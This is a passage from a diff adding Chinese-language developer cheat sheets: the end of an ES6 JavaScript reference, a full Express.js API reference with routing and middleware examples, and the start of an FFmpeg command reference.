请参阅:[函数参数](https://babeljs.io/learn-es2015/#default--rest--spread)
|
||||
|
||||
### 箭头函数
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
#### 箭头函数
|
||||
|
||||
```js {1}
|
||||
setTimeout(() => {
|
||||
···
|
||||
})
|
||||
```
|
||||
|
||||
#### 带参数
|
||||
|
||||
```js {1}
|
||||
readFile('text.txt', (err, data) => {
|
||||
...
|
||||
})
|
||||
```
|
||||
|
||||
#### 隐式返回
|
||||
|
||||
```js {1,4,5,6}
|
||||
arr.map(n => n*2)
|
||||
// 没有花括号 = 隐式返回
|
||||
// 同: arr.map(function (n) { return n*2 })
|
||||
arr.map(n => ({
|
||||
result: n*2
|
||||
}))
|
||||
// 隐式返回对象需要在对象周围加上括号
|
||||
```
|
||||
|
||||
类似函数,但保留了 `this`。
|
||||
请参阅:[箭头函数](https://babeljs.io/learn-es2015/#arrows-and-lexical-this)
|
||||
|
||||
### 参数设置默认值
|
||||
|
||||
```js
|
||||
function log(x, y = 'World') {
|
||||
console.log(x, y);
|
||||
}
|
||||
|
||||
log('Hello') // Hello World
|
||||
log('Hello', 'China') // Hello China
|
||||
log('Hello', '') // Hello
|
||||
```
|
||||
|
||||
### 与解构赋值默认值结合使用
|
||||
|
||||
```js
|
||||
function foo({x, y = 5} = {}) {
|
||||
console.log(x, y);
|
||||
}
|
||||
|
||||
foo() // undefined 5
|
||||
```
|
||||
|
||||
### name 属性
|
||||
|
||||
```js
|
||||
function foo() {}
|
||||
foo.name // "foo"
|
||||
```
|
||||
|
||||
### length 属性
|
||||
|
||||
```js
|
||||
function foo(a, b){}
|
||||
foo.length // 2
|
||||
```
|
||||
|
||||
Objects
|
||||
-------
|
||||
|
||||
### 速记语法
|
||||
|
||||
```js
|
||||
module.exports = { hello, bye }
|
||||
```
|
||||
|
||||
同下:
|
||||
|
||||
```js
|
||||
module.exports = {
|
||||
hello: hello, bye: bye
|
||||
}
|
||||
```
|
||||
|
||||
请参阅:[对象字面量增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
|
||||
|
||||
### 方法
|
||||
|
||||
```js {2}
|
||||
const App = {
|
||||
start () {
|
||||
console.log('running')
|
||||
}
|
||||
}
|
||||
// 同: App = { start: function () {···} }
|
||||
```
|
||||
|
||||
请参阅:[对象文字增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
|
||||
|
||||
### Getters and setters
|
||||
|
||||
```js {2,5}
|
||||
const App = {
|
||||
get closed () {
|
||||
return this.status === 'closed'
|
||||
},
|
||||
set closed (value) {
|
||||
this.status = value ? 'closed' : 'open'
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
请参阅:[对象字面量增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
|
||||
|
||||
### 计算属性名称
|
||||
|
||||
```js {3}
|
||||
let event = 'click'
|
||||
let handlers = {
|
||||
[`on${event}`]: true
|
||||
}
|
||||
// 同: handlers = { 'onclick': true }
|
||||
```
|
||||
|
||||
请参阅:[对象字面量增强](https://babeljs.io/learn-es2015/#enhanced-object-literals)
|
||||
|
||||
### 提取值
|
||||
|
||||
```js {3,5}
|
||||
const fatherJS = { age: 57, name: "张三" }
|
||||
Object.values(fatherJS)
|
||||
// [57, "张三"]
|
||||
Object.entries(fatherJS)
|
||||
// [["age", 57], ["name", "张三"]]
|
||||
```
|
||||
|
||||
Modules 模块
|
||||
-------
|
||||
|
||||
### Imports 导入
|
||||
|
||||
```js
|
||||
import 'helpers'
|
||||
// 又名: require('···')
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
import Express from 'express'
|
||||
// 又名: const Express = require('···').default || require('···')
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
import { indent } from 'helpers'
|
||||
// 又名: const indent = require('···').indent
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
import * as Helpers from 'helpers'
|
||||
// 又名: const Helpers = require('···')
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
import { indentSpaces as indent } from 'helpers'
|
||||
// 又名: const indent = require('···').indentSpaces
|
||||
```
|
||||
|
||||
`import` 是新的 `require()`。
|
||||
请参阅:[Module imports](https://babeljs.io/learn-es2015/#modules)
|
||||
|
||||
### Exports 导出
|
||||
|
||||
```js
|
||||
export default function () { ··· }
|
||||
// 又名: module.exports.default = ···
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
export function mymethod () { ··· }
|
||||
// 又名: module.exports.mymethod = ···
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
export const pi = 3.14159
|
||||
// 又名: module.exports.pi = ···
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
const firstName = 'Michael';
|
||||
const lastName = 'Jackson';
|
||||
const year = 1958;
|
||||
export { firstName, lastName, year };
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
export * from "lib/math";
|
||||
```
|
||||
|
||||
`export` 是新的`module.exports`。
|
||||
请参阅:[Module exports](https://babeljs.io/learn-es2015/#modules)
|
||||
|
||||
### `as` 关键字重命名
|
||||
|
||||
```js {2,8,12-14}
|
||||
import {
|
||||
lastName as surname // 导入重命名
|
||||
} from './profile.js';
|
||||
|
||||
function v1() { ... }
|
||||
function v2() { ... }
|
||||
|
||||
export { v1 as default };
|
||||
// 等同于 export default v1;
|
||||
|
||||
export {
|
||||
v1 as streamV1, // 导出重命名
|
||||
v2 as streamV2, // 导出重命名
|
||||
v2 as streamLatestVersion // 导出重命名
|
||||
};
|
||||
```
|
||||
|
||||
### 动态加载模块
|
||||
|
||||
```js
|
||||
button.addEventListener('click', event => {
|
||||
import('./dialogBox.js')
|
||||
.then(dialogBox => {
|
||||
dialogBox.open();
|
||||
})
|
||||
.catch(error => {
|
||||
/* Error handling */
|
||||
})
|
||||
});
|
||||
```
|
||||
|
||||
[ES2020提案](https://github.com/tc39/proposal-dynamic-import) 引入 `import()` 函数
|
||||
|
||||
### import() 允许模块路径动态生成
|
||||
|
||||
```js
|
||||
const main = document.querySelector('main')
|
||||
|
||||
import(`./modules/${someVariable}.js`)
|
||||
.then(module => {
|
||||
module.loadPageInto(main);
|
||||
})
|
||||
.catch(err => {
|
||||
main.textContent = err.message;
|
||||
});
|
||||
```
|
||||
|
||||
### import.meta
|
||||
|
||||
[ES2020](https://github.com/tc39/proposal-import-meta) 为 `import` 命令添加了一个元属性 `import.meta`,返回当前模块的元信息
|
||||
|
||||
```js
|
||||
new URL('data.txt', import.meta.url)
|
||||
```
|
||||
|
||||
Node.js 环境中,`import.meta.url`返回的总是本地路径,即 `file:URL` 协议的字符串,比如 `file:///home/user/foo.js`
|
||||
|
||||
### 导入断言(Import Assertions)
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
#### 静态导入
|
||||
|
||||
```js
|
||||
import json from "./package.json" assert {type: "json"}
|
||||
// 导入 json 文件中的所有对象
|
||||
```
|
||||
|
||||
#### 动态导入
|
||||
|
||||
```js
|
||||
const json =
|
||||
await import("./package.json", { assert: { type: "json" } })
|
||||
```
|
||||
|
||||
Generators
|
||||
----------
|
||||
|
||||
### Generator 函数
|
||||
|
||||
```js
|
||||
function* idMaker () {
|
||||
let id = 0
|
||||
while (true) { yield id++ }
|
||||
}
|
||||
```
|
||||
|
||||
----
|
||||
|
||||
```js
|
||||
let gen = idMaker()
|
||||
gen.next().value // → 0
|
||||
gen.next().value // → 1
|
||||
gen.next().value // → 2
|
||||
```
|
||||
|
||||
情况很复杂。
|
||||
请参阅:[Generators](https://babeljs.io/learn-es2015/#generators)
|
||||
|
||||
### For..of + 迭代器(iterator)
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```js
|
||||
let fibonacci = {
|
||||
[Symbol.iterator]() {
|
||||
let pre = 0, cur = 1;
|
||||
return {
|
||||
next() {
|
||||
[pre, cur] = [cur, pre + cur];
|
||||
return { done: false, value: cur }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (var n of fibonacci) {
|
||||
// 在 1000 处截断序列
|
||||
if (n > 1000) break;
|
||||
console.log(n);
|
||||
}
|
||||
```
|
||||
|
||||
用于迭代生成器和数组。
|
||||
请参阅:[For..of iteration](https://babeljs.io/learn-es2015/#iterators--forof)
|
||||
|
||||
### 与 Iterator 接口的关系
|
||||
|
||||
```js
|
||||
var gen = {};
|
||||
gen[Symbol.iterator] = function* () {
|
||||
yield 1;
|
||||
yield 2;
|
||||
yield 3;
|
||||
};
|
||||
|
||||
[...gen] // => [1, 2, 3]
|
||||
```
|
||||
|
||||
`Generator` 函数赋值给 `Symbol.iterator` 属性,从而使得 `gen` 对象具有了 `Iterator` 接口,可以被 `...` 运算符遍历了
|
||||
|
||||
### Symbol.iterator 属性
|
||||
|
||||
```js
|
||||
function* gen() { /* some code */ }
|
||||
var g = gen();
|
||||
|
||||
g[Symbol.iterator]() === g // true
|
||||
```
|
||||
|
||||
`gen` 是一个 `Generator` 函数,调用它会生成一个遍历器对象`g`。它的 `Symbol.iterator` 属性,也是一个遍历器对象生成函数,执行后返回它自己
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
- [Learn ES2015](https://babeljs.io/docs/en/learn/) _(babeljs.io)_
|
||||
- [ECMAScript 6 功能概述](https://github.com/lukehoban/es6features#readme) _(github.com)_
|
||||
- [ECMAScript 6 入门教程 (阮一峰)](https://es6.ruanyifeng.com/) _(ruanyifeng.com)_
|
414
docs/expressjs.md
Normal file
414
docs/expressjs.md
Normal file
@ -0,0 +1,414 @@
|
||||
Express 备忘清单
|
||||
===
|
||||
|
||||
这是用于 Node.js 的快速、不拘一格、极简主义的 Web 框架,包含 [Express.js](http://expressjs.com/) 的 API 参考列表和一些示例。
|
||||
|
||||
入门
|
||||
---
|
||||
|
||||
### Hello World
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
- 创建项目,添加 `package.json` 配置
|
||||
|
||||
```bash
|
||||
$ mkdir myapp # 创建目录
|
||||
$ cd myapp # 进入目录
|
||||
$ npm init -y # 初始化一个配置
|
||||
```
|
||||
|
||||
- 安装依赖
|
||||
|
||||
```bash
|
||||
$ npm install express # 安装依赖
|
||||
```
|
||||
|
||||
- 入口文件 `index.js` 添加代码:
|
||||
|
||||
```js
|
||||
const express = require('express')
|
||||
const app = express()
|
||||
const port = 3000
|
||||
app.get('/', (req, res) => {
|
||||
res.send('Hello World!')
|
||||
})
|
||||
app.listen(port, () => {
|
||||
console.log(`监听端口${port}示例应用`)
|
||||
})
|
||||
```
|
||||
|
||||
- 使用以下命令运行应用程序
|
||||
|
||||
```bash
|
||||
$ node index.js
|
||||
```
|
||||
<!--rehype:className=style-timeline-->
|
||||
|
||||
### express -h
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
```bash
|
||||
Usage: express [options] [dir]
|
||||
Options:
|
||||
-h, --help 输出使用信息
|
||||
--version 输出版本号
|
||||
-e, --ejs 添加 ejs 引擎支持
|
||||
--hbs 添加 hbs 引擎支持
|
||||
--pug 添加 pug 引擎支持
|
||||
-H, --hogan 添加 hogan.js 引擎支持
|
||||
--no-view 无视图引擎生成
|
||||
-v, --view <engine> 添加视图 <engine> 支持 (ejs|hbs|hjs|jade|pug|twig|vash) (默认jade)
|
||||
-c, --css <engine> 添加样式表 <engine> 支持 (less|stylus|compass|sass) (默认css)
|
||||
--git 添加 .gitignore
|
||||
-f, --force 强制非空目录
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
创建一个 `myapp` 的项目
|
||||
|
||||
```bash
|
||||
$ express --view=pug myapp
|
||||
# 运行应用程序
|
||||
$ DEBUG=myapp:* npm start
|
||||
```
|
||||
|
||||
### express()
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`express.json()` | [#](http://expressjs.com/en/4x/api.html#express.json)
|
||||
`express.raw()` | [#](http://expressjs.com/en/4x/api.html#express.raw)
|
||||
`express.Router()` | [#](http://expressjs.com/en/4x/api.html#express.router)
|
||||
`express.static()` | [#](http://expressjs.com/en/4x/api.html#express.static)
|
||||
`express.text()` | [#](http://expressjs.com/en/4x/api.html#express.text)
|
||||
`express.urlencoded()` | [#](http://expressjs.com/en/4x/api.html#express.urlencoded)
|
||||
|
||||
### Router
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`router.all()` | [#](http://expressjs.com/en/4x/api.html#router.all)
|
||||
`router.METHOD()` | [#](http://expressjs.com/en/4x/api.html#router.METHOD)
|
||||
`router.param()` | [#](http://expressjs.com/en/4x/api.html#router.param)
|
||||
`router.route()` | [#](http://expressjs.com/en/4x/api.html#router.route)
|
||||
`router.use()` | [#](http://expressjs.com/en/4x/api.html#router.use)
|
||||
|
||||
### Application
|
||||
|
||||
```js
|
||||
var express = require('express')
|
||||
var app = express()
|
||||
|
||||
console.dir(app.locals.title)
|
||||
// => 'My App'
|
||||
console.dir(app.locals.email)
|
||||
// => 'me@myapp.com'
|
||||
```
|
||||
|
||||
#### **属性**
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`app.locals` | 应用程序中的局部变量 [#](http://expressjs.com/en/4x/api.html#app.locals)
|
||||
`app.mountpath` | 安装子应用程序的路径模式 [#](http://expressjs.com/en/4x/api.html#app.mountpath)
|
||||
|
||||
#### **Events**
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`mount` | 子应用挂载到父应用上,子应用上触发事件 [#](http://expressjs.com/en/4x/api.html#app.onmount)
|
||||
|
||||
#### **方法**
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`app.all()` | [#](http://expressjs.com/en/4x/api.html#app.all)
|
||||
`app.delete()` | [#](http://expressjs.com/en/4x/api.html#app.delete.method)
|
||||
`app.disable()` | [#](http://expressjs.com/en/4x/api.html#app.disable)
|
||||
`app.disabled()` | [#](http://expressjs.com/en/4x/api.html#app.disabled)
|
||||
`app.enable()` | [#](http://expressjs.com/en/4x/api.html#app.enable)
|
||||
`app.enabled()` | [#](http://expressjs.com/en/4x/api.html#app.enabled)
|
||||
`app.engine()` | [#](http://expressjs.com/en/4x/api.html#app.engine)
|
||||
`app.get(name)` | [#](http://expressjs.com/en/4x/api.html#app.get)
|
||||
`app.get(path, callback)` | [#](http://expressjs.com/en/4x/api.html#app.get.method)
|
||||
`app.listen()` | [#](http://expressjs.com/en/4x/api.html#app.listen)
|
||||
`app.METHOD()` | [#](http://expressjs.com/en/4x/api.html#app.METHOD)
|
||||
`app.param()` | [#](http://expressjs.com/en/4x/api.html#app.param)
|
||||
`app.path()` | [#](http://expressjs.com/en/4x/api.html#app.path)
|
||||
`app.post()` | [#](http://expressjs.com/en/4x/api.html#app.post.method)
|
||||
`app.put()` | [#](http://expressjs.com/en/4x/api.html#app.put.method)
|
||||
`app.render()` | [#](http://expressjs.com/en/4x/api.html#app.render)
|
||||
`app.route()` | [#](http://expressjs.com/en/4x/api.html#app.route)
|
||||
`app.set()` | [#](http://expressjs.com/en/4x/api.html#app.set)
|
||||
`app.use()` | [#](http://expressjs.com/en/4x/api.html#app.use)
|
||||
|
||||
### Request
|
||||
|
||||
#### 属性
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`req.app` | [#](http://expressjs.com/en/4x/api.html#req.app)
|
||||
`req.baseUrl` | [#](http://expressjs.com/en/4x/api.html#req.baseUrl)
|
||||
`req.body` | [#](http://expressjs.com/en/4x/api.html#req.body)
|
||||
`req.cookies` | [#](http://expressjs.com/en/4x/api.html#req.cookies)
|
||||
`req.fresh` | [#](http://expressjs.com/en/4x/api.html#req.fresh)
|
||||
`req.hostname` | [#](http://expressjs.com/en/4x/api.html#req.hostname)
|
||||
`req.ip` | [#](http://expressjs.com/en/4x/api.html#req.ip)
|
||||
`req.ips` | [#](http://expressjs.com/en/4x/api.html#req.ips)
|
||||
`req.method` | [#](http://expressjs.com/en/4x/api.html#req.method)
|
||||
`req.originalUrl` | [#](http://expressjs.com/en/4x/api.html#req.originalUrl)
|
||||
`req.params` | [#](http://expressjs.com/en/4x/api.html#req.params)
|
||||
`req.path` | [#](http://expressjs.com/en/4x/api.html#req.path)
|
||||
`req.protocol` | [#](http://expressjs.com/en/4x/api.html#req.protocol)
|
||||
`req.query` | [#](http://expressjs.com/en/4x/api.html#req.query)
|
||||
`req.route` | [#](http://expressjs.com/en/4x/api.html#req.route)
|
||||
`req.secure` | [#](http://expressjs.com/en/4x/api.html#req.secure)
|
||||
`req.signedCookies` | [#](http://expressjs.com/en/4x/api.html#req.signedCookies)
|
||||
`req.stale` | [#](http://expressjs.com/en/4x/api.html#req.stale)
|
||||
`req.subdomains` | [#](http://expressjs.com/en/4x/api.html#req.subdomains)
|
||||
`req.xhr` | [#](http://expressjs.com/en/4x/api.html#req.xhr)
|
||||
|
||||
#### 方法
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`req.accepts()` | [#](http://expressjs.com/en/4x/api.html#req.accepts)
|
||||
`req.acceptsCharsets()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsCharsets)
|
||||
`req.acceptsEncodings()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsEncodings)
|
||||
`req.acceptsLanguages()` | [#](http://expressjs.com/en/4x/api.html#req.acceptsLanguages)
|
||||
`req.get()` | 获取HTTP 请求头字段 [#](http://expressjs.com/en/4x/api.html#req.get)
|
||||
`req.is()` | [#](http://expressjs.com/en/4x/api.html#req.is)
|
||||
`req.param()` | [#](http://expressjs.com/en/4x/api.html#req.param)
|
||||
`req.range()` | [#](http://expressjs.com/en/4x/api.html#req.range)
|
||||
|
||||
### Response
|
||||
|
||||
```js
|
||||
app.get('/', function (req, res) {
|
||||
console.dir(res.headersSent) // false
|
||||
res.send('OK')
|
||||
console.dir(res.headersSent) // true
|
||||
})
|
||||
```
|
||||
|
||||
#### 属性
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`res.app` | [#](http://expressjs.com/en/4x/api.html#res.app)
|
||||
`res.headersSent` | [#](http://expressjs.com/en/4x/api.html#res.headersSent)
|
||||
`res.locals` | [#](http://expressjs.com/en/4x/api.html#res.locals)
|
||||
|
||||
#### 方法
|
||||
|
||||
:- | :-
|
||||
:- | :-
|
||||
`res.append()` | [#](http://expressjs.com/en/4x/api.html#res.append)
|
||||
`res.attachment()` | [#](http://expressjs.com/en/4x/api.html#res.attachment)
|
||||
`res.cookie()` | [#](http://expressjs.com/en/4x/api.html#res.cookie)
|
||||
`res.clearCookie()` | [#](http://expressjs.com/en/4x/api.html#res.clearCookie)
|
||||
`res.download()` | 提示要下载的文件 [#](http://expressjs.com/en/4x/api.html#res.download)
|
||||
`res.end()` | 结束响应过程 [#](http://expressjs.com/en/4x/api.html#res.end)
|
||||
`res.format()` | [#](http://expressjs.com/en/4x/api.html#res.format)
|
||||
`res.get()` | [#](http://expressjs.com/en/4x/api.html#res.get)
|
||||
`res.json()` | 发送 JSON 响应 [#](http://expressjs.com/en/4x/api.html#res.json)
|
||||
`res.jsonp()` | 发送带有 JSONP 支持的响应 [#](http://expressjs.com/en/4x/api.html#res.jsonp)
|
||||
`res.links()` | [#](http://expressjs.com/en/4x/api.html#res.links)
|
||||
`res.location()` | [#](http://expressjs.com/en/4x/api.html#res.location)
|
||||
`res.redirect()` | 重定向请求 [#](http://expressjs.com/en/4x/api.html#res.redirect)
|
||||
`res.render()` | 渲染视图模板 [#](http://expressjs.com/en/4x/api.html#res.render)
|
||||
`res.send()` | 发送各种类型的响应 [#](http://expressjs.com/en/4x/api.html#res.send)
|
||||
`res.sendFile()` | 将文件作为八位字节流发送 [#](http://expressjs.com/en/4x/api.html#res.sendFile)
|
||||
`res.sendStatus()` | [#](http://expressjs.com/en/4x/api.html#res.sendStatus)
|
||||
`res.set()` | [#](http://expressjs.com/en/4x/api.html#res.set)
|
||||
`res.status()` | [#](http://expressjs.com/en/4x/api.html#res.status)
|
||||
`res.type()` | [#](http://expressjs.com/en/4x/api.html#res.type)
|
||||
`res.vary()` | [#](http://expressjs.com/en/4x/api.html#res.vary)
|
||||
|
||||
示例
|
||||
----
|
||||
|
||||
### Router
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
为传递给此路由器的任何请求调用
|
||||
|
||||
```js
|
||||
router.use(function (req, res, next) {
|
||||
// .. 这里有一些逻辑 .. 像任何其他中间件一样
|
||||
next()
|
||||
})
|
||||
```
|
||||
|
||||
将处理任何以 `/events` 结尾的请求
|
||||
|
||||
```js
|
||||
// 取决于路由器在哪里 "use()"
|
||||
router.get('/events', (req, res, next) => {
|
||||
// ..
|
||||
})
|
||||
```
|
||||
|
||||
### Response
|
||||
|
||||
`res` 对象表示 `Express` 应用程序在收到 HTTP 请求时发送的 HTTP 响应
|
||||
|
||||
```js
|
||||
app.get('/user/:id', (req, res) => {
|
||||
res.send('user ' + req.params.id)
|
||||
})
|
||||
```
|
||||
|
||||
### Request
|
||||
|
||||
`req` 对象表示 `HTTP` 请求,并具有请求查询字符串、参数、正文、HTTP 标头等的属性
|
||||
|
||||
```js
|
||||
app.get('/user/:id', (req, res) => {
|
||||
res.send('user ' + req.params.id)
|
||||
})
|
||||
```
|
||||
|
||||
### res.end()
|
||||
|
||||
```js
|
||||
res.end()
|
||||
res.status(404).end()
|
||||
```
|
||||
|
||||
结束响应过程。这个方法其实来自 Node 核心,具体是 `http.ServerResponse` 的 `response.end()` 方法
|
||||
|
||||
### res.json([body])
|
||||
|
||||
```js
|
||||
res.json(null)
|
||||
res.json({ user: 'tobi' })
|
||||
res.status(500).json({ error: 'message' })
|
||||
```
|
||||
|
||||
### app.all
|
||||
|
||||
```js
|
||||
app.all('/secret', function (req, res, next) {
|
||||
console.log('访问秘密部分...')
|
||||
next() // 将控制权传递给下一个处理程序
|
||||
})
|
||||
```
|
||||
|
||||
### app.delete
|
||||
|
||||
```js
|
||||
app.delete('/', function (req, res) {
|
||||
res.send('DELETE request to homepage')
|
||||
})
|
||||
```
|
||||
|
||||
### app.disable(name)
|
||||
|
||||
```js
|
||||
app.disable('trust proxy')
|
||||
app.get('trust proxy')
|
||||
// => false
|
||||
```
|
||||
|
||||
### app.disabled(name)
|
||||
|
||||
```js
|
||||
app.disabled('trust proxy')
|
||||
// => true
|
||||
|
||||
app.enable('trust proxy')
|
||||
app.disabled('trust proxy')
|
||||
// => false
|
||||
```
|
||||
|
||||
### app.engine(ext, callback)
|
||||
|
||||
```js
|
||||
var engines = require('consolidate')
|
||||
|
||||
app.engine('haml', engines.haml)
|
||||
app.engine('html', engines.hogan)
|
||||
```
|
||||
|
||||
### app.listen([port[, host[, backlog]]][, callback])
|
||||
|
||||
```js
|
||||
var express = require('express')
|
||||
|
||||
var app = express()
|
||||
app.listen(3000)
|
||||
```
|
||||
|
||||
### 路由
|
||||
|
||||
```js
|
||||
const express = require('express')
|
||||
const app = express()
|
||||
|
||||
// 向主页发出 GET 请求时响应“hello world”
|
||||
app.get('/', (req, res) => {
|
||||
res.send('hello world')
|
||||
})
|
||||
```
|
||||
|
||||
```js
|
||||
// GET 方法路由
|
||||
app.get('/', (req, res) => {
|
||||
res.send('GET request to the homepage')
|
||||
})
|
||||
|
||||
// POST 方法路由
|
||||
app.post('/', (req, res) => {
|
||||
res.send('POST request to the homepage')
|
||||
})
|
||||
```
|
||||
|
||||
### 中间件
|
||||
|
||||
```js
|
||||
function logOriginalUrl (req, res, next) {
|
||||
console.log('ReqURL:', req.originalUrl)
|
||||
next()
|
||||
}
|
||||
|
||||
function logMethod (req, res, next) {
|
||||
console.log('Request Type:', req.method)
|
||||
next()
|
||||
}
|
||||
|
||||
const log = [logOriginalUrl, logMethod]
|
||||
|
||||
app.get('/user/:id', log,
|
||||
(req, res, next)=>{
|
||||
res.send('User Info')
|
||||
}
|
||||
)
|
||||
```
|
||||
|
||||
### 使用模版
|
||||
|
||||
```js
|
||||
app.set('view engine', 'pug')
|
||||
```
|
||||
|
||||
在 `views` 目录下创建一个名为 `index.pug` 的 `Pug` 模板文件,内容如下
|
||||
|
||||
```pug
|
||||
html
|
||||
head
|
||||
title= title
|
||||
body
|
||||
h1= message
|
||||
```
|
||||
|
||||
创建一个路由来渲染 `index.pug` 文件。如果未设置视图引擎属性,则必须指定视图文件的扩展名
|
||||
|
||||
```js
|
||||
app.get('/', (req, res) => {
|
||||
res.render('index', {
|
||||
title: 'Hey', message: 'Hello there!'
|
||||
})
|
||||
})
|
||||
```
|
728
docs/ffmpeg.md
Normal file
728
docs/ffmpeg.md
Normal file
@ -0,0 +1,728 @@
|
||||
FFmpeg 备忘清单
|
||||
===
|
||||
|
||||
本备忘清单是 [FFmpeg](https://ffmpeg.org/) 中常见视频处理操作的备忘清单
|
||||
|
||||
FFmpeg 参考
|
||||
---
|
||||
|
||||
### 安装
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
Linux
|
||||
|
||||
```
|
||||
$ apt-get install ffmpeg
|
||||
$ yum install ffmpeg
|
||||
```
|
||||
|
||||
MacOS
|
||||
|
||||
```bash
|
||||
$ brew install ffmpeg
|
||||
```
|
||||
|
||||
### 示例
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
mp4 转 avi:
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.mp4 output.avi
|
||||
```
|
||||
|
||||
webm 转 mp4:
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i movie.webm movie.mp4
|
||||
```
|
||||
|
||||
### 全局选项
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-y` | 覆盖输出文件
|
||||
`-n` | 不要覆盖输出文件
|
||||
|
||||
### 主要选项
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-f fmt` | 强制输入或输出文件格式
|
||||
`-i fName` | 输入文件名,未指定显示内容流的摘要
|
||||
`-c codecName` | 指定编解码器 [输入或输出]
|
||||
`-fs Nbytes` | 以 Nbytes 指定最大输出文件大小
|
||||
|
||||
### 基础参数
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-codecs` | 列出可用编码
|
||||
`-formats` | 列出支持的格式
|
||||
`-protocols` | 列出支持的协议
|
||||
`-i input.mp4` | 指定输入文件
|
||||
`-c:v libx264` | 指定视频编码
|
||||
`-c:a aac` | 指定音频编码
|
||||
`-vcodec libx264` | 旧写法
|
||||
`-acodec aac` | 旧写法
|
||||
`-fs SIZE` | 指定文件大小
|
||||
|
||||
### 视频参数
|
||||
<!--rehype:wrap-class=col-span-2 row-span-2-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-b bRate` | 设置视频比特率(单位 kbit/s)
|
||||
`-fixaspect` | 固定纵横比
|
||||
`-bt tolerance` | 设置视频比特率容差(单位 kbit/s)
|
||||
`-maxrate bRate` | 设置最大视频比特率容差(单位 kbit/s)
|
||||
`-minrate bRate` | 设置最小视频比特率容差(单位 kbit/s)
|
||||
`-bufsize size` | 设置速率控制缓冲区大小(以 kByte 为单位)
|
||||
`-sameq` | 使用与源相同的视频质量(意味着 VBR)
|
||||
`-newvideo` | 将新的视频流添加到当前输出流
|
||||
`-aspect RATIO` | 纵横比(4:3、16:9 或 1.25)
|
||||
`-r RATE` | 每秒帧率
|
||||
`-s WIDTHxHEIGHT` | 帧大小
|
||||
`-vn` | 没有视频
|
||||
|
||||
### 码率设置
|
||||
|
||||
```bash
|
||||
-b:v 1M # 视频比特率(1M = 1Mbit/s)
|
||||
-b:a 1M # 音频比特率(1M = 1Mbit/s)
|
||||
```
|
||||
|
||||
### 尺寸规格
|
||||
|
||||
:- | - | - | -
|
||||
:- | - | - | -
|
||||
`K` 或 `k` | 103 | 1000 字节 | 千字节 Kilobytes
|
||||
`M` | 106 | 1000000 字节 | 兆字节 Megabytes
|
||||
`G` | 109 | 1000000000 | 千兆字节 Gigabytes
|
||||
`Ki` | 210 | 1024 | 千字节 Kibibyte
|
||||
`Mi` | 220 | 1048576 | 兆字节 Mebibyte
|
||||
`Gi` | 230 | 1073741824 | Gibibyte
|
||||
|
||||
### 音频参数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
:- | -
|
||||
:- | -
|
||||
`-ab bRate` | 设置音频比特率(单位 kbit/s)
|
||||
`-aframes N` | 设置要录制的音频帧数 [-frames:a 的别名]
|
||||
`-aq q` | 设置音频质量(特定于编解码器,VBR) [-q:a 的别名]
|
||||
`-an` | 禁用录音
|
||||
`-acodec codec` | 设置音频编解码器。[-codec:a 的别名] 使用 'copy' 复制流。
|
||||
`-vol` | 以 256 的倍数更改音频音量,其中 256 = 100%(正常)音量。例如 512 = 200%
|
||||
`-newaudio` | 将新的音频流添加到当前输出流
|
||||
`-alang code` | 设置当前音频流的 ISO 639 语言代码(3 个字母)
|
||||
|
||||
视频编辑
|
||||
---
|
||||
<!--rehype:body-class=cols-2-->
|
||||
|
||||
### 剪切视频部分
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
# 从1分45秒开始剪切2分35秒
|
||||
$ ffmpeg -i <input> -ss 00:01:45 -t 00:02:35 -vcodec copy -acodec copy <output>
|
||||
# 从1分45秒开始剪切到第4分20秒,与上一行等效
|
||||
$ ffmpeg -i <input> -ss 00:01:45 -to 00:04:20 -codec copy <output>
|
||||
$ ffmpeg -ss 00:00:30 -i orginalfile.mpg -t 00:00:05 -vcodec copy -acodec copy newfile.mpg
|
||||
# 从 4.5 秒开始的 5 秒长的视频
|
||||
$ ffmpeg -i in.mp4 -ss 4.5 -t 5 out.mp4
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 视频帧速率
|
||||
|
||||
```bash
|
||||
$ ffmpeg -i input.avi -r 24 output.avi
|
||||
